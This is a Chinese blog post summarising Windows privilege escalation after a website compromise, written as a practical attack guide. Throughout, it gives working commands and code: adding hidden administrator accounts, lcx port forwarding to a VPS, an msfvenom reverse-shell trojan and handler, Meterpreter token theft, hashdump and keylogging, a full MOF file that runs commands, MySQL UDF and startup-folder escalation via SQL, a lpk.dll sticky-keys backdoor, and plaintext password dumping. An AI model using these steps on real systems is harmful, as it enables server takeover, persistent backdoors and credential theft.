提权总结。

作者: 康康 分类: Web安全,内网安全 发布时间: 2018-04-18 08:59

本文的提权方式都是自己实践过的,欢迎大家评论补充新的姿势,这里对常规的提权方式做一个总结:

背景:网站渗透后,权限不够。

意义:提权的过程,从控制网站到控制服务器,可以有更多的文件用户操作权限。

分类:

1.利用漏洞提权(比如系统及组件的溢出漏洞)、msf自动化提权

2.数据库提权(利用数据库的高权限提权)

3.第三方软件提权(LPK病毒、可以跨权操作的软件)

 

 

 搜集信息:通过windows命令获取信息:

操作系统,操作系统位数,操作系统版本,补丁情况(对应一处漏洞提权),开启服务(对应数据库提权),内外网,有无杀毒防护软件,有无第三方软件(第三方软件提权)等。

Whoami 查看当前操作用户以及类型(一般网站只是网络权限,注意是service还是system权限)


Ipconfig ip地址获取命令,外网内网

Net user用户操作命令

Net user 康康 123456 /add 添加用户名康康,密码123456的用户

Net user 康康 /del 删除用户康康

Net localgroup administrators 康康 /add 将用户康康添加到本地管理员组(提升权限)

Tasklist /svc 进程获取命令 判断有没有数据库软件、杀毒软件

Netstat -ano 网络端口命令 判断我们想要的服务是否开启

Systeminfo 计算机信息获取命令  查看系统信息,是否打补丁

 

 

windows溢出提权步骤思路:

1.通过system info得知的信息去寻找对应的补丁信息,

2.通过补丁版本去筛选exp

3.通过大马等磁盘探测去寻找可写入的目录(目录不要带空格,通常exp后参数分隔用空格)

4.上传并执行exp(格式任意,在cmd里执行不管什么后缀,都解析为exe,顺便绕过杀毒软件)

假如exp不能接入多个参数,用bat批处理,比如:

payload.bat:


@echo

net user kang 123456/add

Net localgroup administrators kang/add

 

 

windows提权容易碰到的问题:
1.cmd执行无回显:

  • cmd被降权(拒绝IIS服务组用户执行cmd,但仅仅是system32路径下的)

  • Cmd被删除

以上两种可以重新寻找可读写目录,上传cmd。重定义调用cmd路径,执行

  • 组件被删除(脚本语言对接cmd的函数组件wscript.shell等被屏蔽,中间件加固中常见手段)

换组件支持执行命令

  • 防护软件拦截

 

 

2.3389远程桌面无法连接:

1.内网环境

端口转发(nc\lcx  原理有点类似反向代理)

一。在靶机上执行lcx,

c:/lcx.exe -slave  115.159.205.215  1234 192.168.199.116 3389

(将3389端口流量转发至VPS上的1234端口上)

二。VPS上执行lcx,

c:/lcx -listen 1234 3309

接受1234端口将其转发至VPS自身的3309端口上,我们只需要连接VPS的3309即连接的是靶机的3389)

 

2. 端口未开启

通过上传远程桌面开启工具,然后用管理员权限调用(C:/可写目录/exp.cc  “c:/可写目录/3389开启工具”)

3.端口被修改

通过PID查询猜测(tasklist /svc   找termservice的PID,再用netstat -ano 查询PID为上述下结果的端口)

注册列表查询(reg query ”

HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber”

端口爆破才猜试

4.防火墙:

检测来源的IP和域名、检测MAC地址、检测计算机名(可以通过获取目标主机名等信息伪造,不好绕过)

 

 

这里不说下metasploite怎么行呢

msf常用命令:


show exploits 查看所有exploit
show payloads 查看所有payload
show auxiliary 查看所有auxiliary
search name 搜索exploit 等
info 查看加载模块的信息
use name 加载模块
LHOST 本机IP
RHOST 目标IP
set function 设置选项值
setg function 全局设置
show options 查看选项
show targets 查看exp 可选的平台
set target num 设置exp 作用平台
set payload payload 设置payload
show advanced 查看高级选项
set autorunscript migrate -f 设置自动执行指令
check 测试是否可利用
exploit 执行exp 或模块
exploit -j 作为后台执行
exploit -z 成功后不立即打开session
exploit -e encoder 指定encoder
exploit -h 查看帮助信息

以下是用msf来生成反向shell木马提权

1.生成反弹木马(脚本,执行程序)

msfvenom -p windows/meterpreter/reverse_tcp LHOST= Your IP Address LPORT= Your Port to Connect On -f exe -o shell.exe

将生成的木马上传到靶机可写目录

2.Msf接受设置

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 192.168.1.111//将监听目标指向本机

Exploit

然后在靶机执行生成的木马,

3.执行sessions,查看当前会话,选择编号1,sessions -i 1 ,然后进入msf的shell

这时可以用到的命令:


help 查看帮助
run scriptname 运行脚本
sysinfo 系统基本信息
ls 列目录
use priv 运行提权组件
ps 列进程
migrate PID PID 迁移
use incognito token 窃取
list_tokens -u 查看可用用户token
list_tokens -g 查看可用组token
impersonate_token DOMAIN_NAME\\USERNAME 模仿token
steal_token PID 窃取PID 所属token 并模仿
drop_token 停止模仿token
getsystem 获取SYSTEM 权限
shell 运行shell
execute -f cmd.exe -i 交互式运行cmd
execute -f cmd.exe -i -t 使用可用token 运行
execute -f cmd.exe -i -H -t 同上,同时隐藏进程
rev2self 返回至初始用户
reg command 修改注册表
getuid查看当前用户权限
screenshot 截屏
upload file 上传文件
download file 下载文件
keyscan_start 开始截取击键记录
keyscan_stop 停止截取击键记录
getprivs 尽可能提升权限

4.有关用msf其他漏洞自动化提权

可以发现反弹回来的shell权限还是比较低,可以试一试getsystem,有时候成功几率不是很大,但是我们仍然可以用别的系统漏洞进行提权:


search  ms12//查询2012年的系统漏洞payload

寻找和权限提升相关的exp,不用乱选,没用的

use exploite/windows/.......

show targets//查看exp可用的平台,对比自己的靶机是否满足目的


show options //看需要测试那些东西

set session -i 1

exploit//开始破解

这时候可以直接hashdump,把管理员密码的hash值拿到。

execute -f cmd.exe -i,返回cmd弹框

后面就比较常见,可以直接添加用户。

可以看到,如果你有VPS,上面挂一个msf,不用担心反弹时候的内网穿透问题。

内网穿透,可以结合前面的lcx转发或者在路由器上设置端口转发、内网穿透。

 

 

以上是系统组件漏洞提权,接下来是数据库提权

Mysql提权

Udf提权:功能型提权,利用mysql 的功能

Mof提权:漏洞型提权,利用mysql的漏洞

启动项提权:技巧型提权,迫使重启,启动时加载恶意代码

 

UDF提权:

条件:需要用户最高权限root 的账号密码

账号密码可以通过下载数据库文件、数据库配置文件、暴力破解端口、注入得到

配置文件:在很多cms的conf、conn、data、sql等命名存在的页面

暴力破解:h-san、x-san、hydra、mysqlpasswordauditor,填写对方IP、端口直接爆破,前提是对方的数据库端口支持外连。

下载数据库文件:通过在mysql安装目录下data/mysql/user.myd查看里面md5加密过的值

udf提权步骤

(原理通过udf.dll执行cmd命令,根据MySQL函数族的可扩展机制,意味着用户可以自己建立包含有自定义函数的动态库来创建自定义函数,简称udf):

查看mysql安装路径select @@basedir;
小于5.1版本导出路径:c:/windows/system32
大于5.1版本导出路径:../lib/plugin 不存在就创建此目录
可以通过配合大马:../lib/plugin /myxxx.dll 上传安装

 

MOF提权(前提也要root权限)

原理:一个远程权限提升的漏洞,在c:/windows/system32/wbem/mof/目录下的nullevt.mof每分钟都会有一个特定的时间去执行一次(由”And TargetInstance.Second = 5″;控制,这里输入5就是每分钟的第五秒执行。),那么把cmd命令添加到nullevt.mof中,cmd命令就会自动执行了。

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name  = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";

//此处不光可以添加用户,还可以替换执行自己的payload
};

instance of __FilterToConsumerBinding
{
Consumer   = $Consumer;
Filter = $EventFilter;
};

把以上代码写到一个可写目录里面,比如C:/download/nullevt.mof,
然后利用SQL语句,select load_file(‘C:\\DOWNLOAD\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof‘;

mysql在启动运行时,会不断加载此文件,自然文件里的核心代码,比如添加用户等等就会被执行

我的运行环境是win10+mysql5.6,实测mof失败了,但是UDF成功了。

 

利用启动项提权(服务器需要重启才生效)

将命令写入到bat(比如说添加用户),上传后移动到windows系统启动项文件夹,在电脑重新启动的时候会自动添加用户

执行sql语句:


select '@echo  net user kang 123456/add' into outfile 'C:/Users/kang/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/p.bat'

//kang是我自己的用户名字,对应改成你们的用户名字

 

总结,先UDF,不行就MOF或MSF,最后再试启动项提权,一般jsp的默认权限是system;aspx、py是其次,最后,php和asp的是user;

所以在提权前可以用脚本探针测试支持哪种脚本语言,选择权限高的提权。

 

 

 

第三方软件提权

 

lpk.dll病毒提权:这个在我实践之后发现是致命又便捷的方法,特别适合于隐藏后门!

原理:在同一目录下,任意exe在运行时先要加载lpk.dll,当我们上传一个伪造的lpk.dll并注入恶意代码,当管理员点击任意exe时会先加载lpk.dll的代码,利用时,使用粘滞键后门

步骤:

1.利用t00ls论坛的lpk利用工具,先键入两个约定好的按键,然后键入远程webshell、键入cmd开启3389命令,生成。

<pre>REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

2.在大马上上传生成的lpk.dll到包含有管理员最常用的exe同目录
3.等待管理员触发exe时,木马潜入成功,连接对方的3389,按下五次shift触发粘滞键
4.键入两个约定好的按键,输入密码进入远控木马,有很多功能

防御方法,期间发现有安全杀毒软件,此法铁定报毒

Getpass方法

意义:
此法可以直接获取用户明文密码,通常内网渗透里面有用pwdump7拿到用户密码hash值,
需要彩虹表爆破之类的才能进行登陆账户,但是很多时候这对于权限维持并不优雅。
管理员如果发现自己的电脑多了账户,一定会产生怀疑,优雅的方法不过是获取管理员
原来的账户密码。
获取管理员明文密码对域渗透还有很多意义,比如很多管理员喜欢把电脑的密码设置为相同
或者是相似。

原理:
着原来是一个法国大神做的mimixxx,用来直接获取用户名密码的,后来被国内大神逆向
做成了getpass。

步骤: 1.上传对应系统版本的getpass.exe 2.用前面的方法提权后,执行getpass,获取密码
本人亲测win10 x64失败; winXP x86成功、win7 x86成功,getpass.exe应该和系统位宽有关

远程控制软件提权:
市面上什么灰鸽子、ghost、小宇、小风之类的收费远程控制软件,大多分客户端和主机端
步骤:1.把生成的客户端上传到靶机运行
2.在黑客端去连接客户端,达到控制靶机

 

 

发表评论

电子邮件地址不会被公开。 必填项已用*标注